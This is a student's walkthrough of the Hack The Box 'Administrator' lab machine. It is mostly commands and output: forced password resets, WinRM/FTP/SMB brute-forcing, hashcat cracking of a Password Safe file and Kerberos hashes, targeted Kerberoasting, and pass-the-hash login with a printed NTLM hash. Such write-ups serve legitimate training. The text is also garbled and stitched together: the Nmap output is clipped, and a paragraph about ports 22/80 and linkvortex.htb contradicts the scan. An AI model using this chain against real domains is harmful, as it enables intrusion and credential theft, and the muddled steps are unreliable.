PROJECT: HTB LAB [ADMINISTRATOR]

Name: Gorakhnath Vishwanath Pawar

Roll No: MH-JM-24-06-0038

Course: Cyber Security Specialist

Guided By: Deepyesh Sir.

I am excited to present my second in-depth walkthrough, where I will guide you through the process of exploiting and taking control of another Hack The Box Seasonal Machine.



Start with a usual Nmap scan nmap -sC -sV 10.10.11.47

```
map -sC -sV 10.10.11.42 -T5
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-24 14:18 IST
Arning: 10.10.11.42 giving up on port because retransmission cap hit (2).
Imap scan report for administrator.htb (10.10.11.42)
Host is up (0.31s latency).
ot shown: 920 closed tcp ports (reset), 67 filtered tcp ports (no-response)
ORT STATE SERVICE
                              Microsoft ftpd
ftp-syst:
  SYST: Windows_NT
3/tcp open domain
                              (generic dns response: SERVFAIL)
fingerprint-strings:
DNS-SD-TCP:
     _dns-sd
    local
E/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-03-24 15:48:42Z)
35/tcp open msrpc Microsoft Windows RPC
39/tcp open
                             Microsoft Windows netbios-ssn
89/tcp open
45/tcp open
                              Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)
               ldap
              microsoft-ds?
64/tcp open
              kpasswd5?
93/tcp open
              ncacn_http
                              Microsoft Windows RPC over HTTP 1.0
36/tcp open
              tcpwrapped
                              Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)
268/tcp open
269/tcp open tcpwrapped
985/tcp open http
                              Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
_http-title: Not Found
F:SD-TCP,30,"\0\.\0\0\x80\x82\0\x01\0\0\0\0\0\t_services\x07_dns-sd\x04
F:_udp\x05local\0\0\x0c\0\x01");
ervice Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
ost script results:
 smb2-time:
  date: 2025-03-24T15:49:37
  start_date: N/A
 smb2-security-mode:
___ Message signing enabled and required _clock-skew: 7h00m01s
ervice detection performed. Please report any incorrect results at https://nmap.org/submit/ .
map done: 1 IP address (1 host up) scanned in 105.88 seconds
```

I found two open ports: Port 22, which we'll use for SSH access, and Port 80, which will help us gain an initial foothold on the machine. Port 80 redirected us to the hostname **linkvortex.htb**, so I'll add it to my /etc/hosts file

#nano /etc/hosts

10.10.11.42 administrator.htb

#cat /etc/hosts

```
root⊗kali)-[~]

# cat /etc/hosts

127.0.0.1 localhost

127.0.1.1 kali

::1 localhost ip6-localhost ip6-loopback

ff02::1 ip6-allnodes

ff02::2 ip6-allrouters

10.10.11.35 cicada.htb CICADA-DC.cicada.htb

10.10.11.35 cicada.htb CICADA-DC.cicada.htb

192.168.1.66 cryptobank.local

10.10.11.47 linkvortex.htb

10.10.11.47 dev.linkvortex.htb

10.10.11.32 Sightless.htb

10.10.11.32 sqlpad.sightless.htb

10.10.11.42 administrator.htb

192.168.1.55 infinitystones
```

Connect with Evil-Winrm and Enumerate Other Users

Connect to the remote shell using the provided username and password.

```
Command: evil-winrm -i 10.10.11.42 -u 'Olivia' -p 'ichliebedich'
```

Use the net user command to list all users by executing the net user command in the remote machine's PowerShell.

Command: net users

> Force Change Password

Force Change Password of a Benjamin Account Using Linux Command.

Command: net rpc password "benjamin" "Batman@123" -U "administrator.htb"/"michael"% "Password123" -S "administrator.htb"

Username: Benjamin

Password: Batman@123

> SMB Client Authentication

Verify User Using SMB Client Authentication

Command: smbclient -L administrator.htb -U Benjamin

Command: smbclient //administrator.htb/IPC\$ -U benjamin

List all the Available Shares for the Perticular User.

Command: smbmap -H 10.10.11.42 -u 'benjamin' -p 'Batman@123'

> Winrm Bruteforcing.

Winrm Username and Password Bruteforcing using nxc.

Command: nxc winrm 10.10.11.42 -u /home/kali/Username.txt -p /home/kali/Password.txt --continue-on-success

Valid Credentials

User 1: administrator.htb\olivia:ichliebedich (Pwn3d!)

User 2: administrator.htb\michael:Password123 (Pwn3d!)

> FTP Bruteforcing.

FTP Username and Password Bruteforcing using nxc.

Command: nxc ftp 10.10.11.42 -u /home/kali/Username.txt -p /home/kali/Password.txt --continue-on-success

Valid Credentials:

User: administrator.htb\benjamin:Batman@123

Logging in with FTP and download the .psafe3 file.

Command: ftp benjamin@10.10.11.42

Command: get Backup.psafe3

> Decrypt Backup.psafe3 with Hashcat to get master password..

Decrypt the hash that we have downloaded from the FTP server using Hashcat.

Command: hashcat -m 5200 -a 0 Backup.psafe3 /usr/share/wordlists/rockyou.txt

Master Password: tekieromucho

Using Master Password Download or Crack password from Password Safe:



Download Psafer file view and user the master password to view the Psafe file there you have find some users credentials.

Alexander Smith:

Username: alexander

Password: UrkIbagoxMyUGw0_xxx_B0AXSea4Sw

Emily Rodriguez:

Username: Emily

Password: UXLCI5iETUsIBo_xxx_QFKoHjXmb

Emma Johnson:

Username: emma

Password: WwANQWnmJnGV07_xxx_bMS7FMAbjNur



> FTP Bruteforcing.

SMB Username and Password Bruteforcing using nxc to get valid credential from the above users that we have enumerated.

Command: nxc smb 10.10.11.42 -u /home/kali/Username.txt -p /home/kali/Password.txt --continue-on-success

Valid Credentials

Username: Emily

Password: UXLCI5iETUs_xxx_VTj8yQFKoHjXmb

Evil-WinRM Access

Use Evil-WinRM to connect to the machine as emily and get a user flag.

Command: evil-winrm -i 10.10.11.42 -u 'emily' -p 'UXLCI5iETUs_xxx_VTj8yQFKoHjXmb'

User Flag: 81adf62c90e62_xxx_370dcf42d89f198

➤ TargetedKerberoast Attack

Before startig we need to Synchronize administrator.htb NTP.

Command: apt install ntpdate

```
The following packages were automatically installed and are no longer required:
cpdb-backend-cups libcpdb2t64 libcupsfilters2-common libpoppler-cpp1 libzip4t64 perl-modules-5.38
libcpdb-frontend2t64 libcupsfilters2 libperl5.38t64 libqpdf29t64 linux-image-6.8.11-amd64
Use 'sudo apt autoremove' to remove them.

Installing:
ntpdate

Installing dependencies:
ntpsec-ntpdate ntpsec-ntpdig

Summary:
Upgrading: 0, Installing: 3, Removing: 0, Not Upgrading: 3
Download size: 85.9 k8
Space needed: 253 kB / 48.9 GB available

Continue? [Y/n] y
Get: http://http.kali.org/kali kali-rolling/main amd64 ntpsec-ntpdig amd64 1.2.3+dfsg1-3 [32.8 kB]
Get:3 http://http.kali.org/kali kali-rolling/main amd64 ntpdate all 1:4.2.8p15+dfsg-2-1.2.3+dfsg1-3 [23.1 kB]
```

Command: sudo ntpdate administrator.htb

```
(root⊛ kali)-[/targetedKerberoast]

# sudo ntpdate administrator.htb
2024-11-19 16:57:52.375516 (-0500) +16253.875851 +/- 0.098876 administrator.htb 10.10.11.42 s1 no-leap
CLOCK: time stepped by 16253.875851
```

Perform a TargetedKerberoast Attack to get a Administrators TGT Token.

Command: python3 targetedKerberoast.py -v -d 'administrator.htb' -u 'emily' -p 'UXLCI5iETUsIBo_xxx_yQFKoHjXmb'

```
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[VERBOSE] SPN added successfully for (ethan)
[*] Printing hash for (ethan)
[*] Frinting hash for (
```

> Crack TGT Hash

Cracking TGT Hash using Hashcat.

Command: hashcat -m 13100 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

```
(root⊗ kali)-[/targetedKerberoast]

# mashcat = m 13100 = 0 hash.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, LLVM 17.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]

* Device #1: cpu-sandybridge-11th Gen Intel(R) Core(TM) i5-1135G7 @ 2.40GHz, 2189/4442 MB (1024 MB allocatable), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0×0000ffff mask, 262144 bytes, 5/13 rotates

Rules: 1

Optimizers applied:

* Zero-Byte

* Not-Iterated

* Single-Hash

* Single-Salt
```

> Evil-WinRM Access

Use Evil-WinRM to connect to the machine as administrator and get a root flag.

Command: evil-winrm -i 10.10.11.42 -u 'administrator' -H '3dc553ce4b9fd2_xxx_e098d2d2fd2e'

```
(root@kali)-[~/Downloads]
# evil-winrm -i 10.10.11.42 -u administrator -H 3dc553ce4b9fd20bd016e098d2d2fd2e
Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> []
```

>THE END<
